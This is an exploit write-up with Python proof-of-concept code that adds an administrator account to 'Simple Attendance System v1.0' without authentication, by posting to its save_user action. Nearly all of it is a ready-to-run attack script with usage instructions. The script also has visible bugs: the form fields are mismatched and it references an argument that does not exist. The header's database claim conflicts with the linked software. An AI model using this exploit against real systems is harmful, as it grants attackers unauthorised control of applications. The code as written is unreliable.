# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account # Exploit Author: Richard Jones # Date: September 26, 2021 # Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code # Tested on: Kali Linux, Apache, Mysql # Vendor: oretnom23 # Version: v1.0 # Exploit Description: # Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication. # Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/ # Then login to the app at http://localhost/attendance/login.php to be logged as admin. import requests import argparse def createAccount(args): try: data = f'id=&fullname={args.username}&username={args.password}&type=1' headers = {"Content-Type": "application/x-www-form-urlencoded"} r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers) if r. status_code == 200: resp = r.text if "Username already exists." in resp: print(f"Username \"{args.username}\" taken!\nChange it and try again. ") if "New User successfully saved." in resp: print("Created User") print(f"Username: {args.username}\nPassword: {args.password}") print(f"\nPlease try to login here: {args.url}login.php") except: print("Unknown Error, Check URL and try again.") def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--username", help="Username to create", required=True) parser.add_argument("-p", "--password", help="Password for the user account", required=True) parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ << ends with / ", required=True) args = parser.parse_args() createAccount(args) if __name__ == "__main__": main()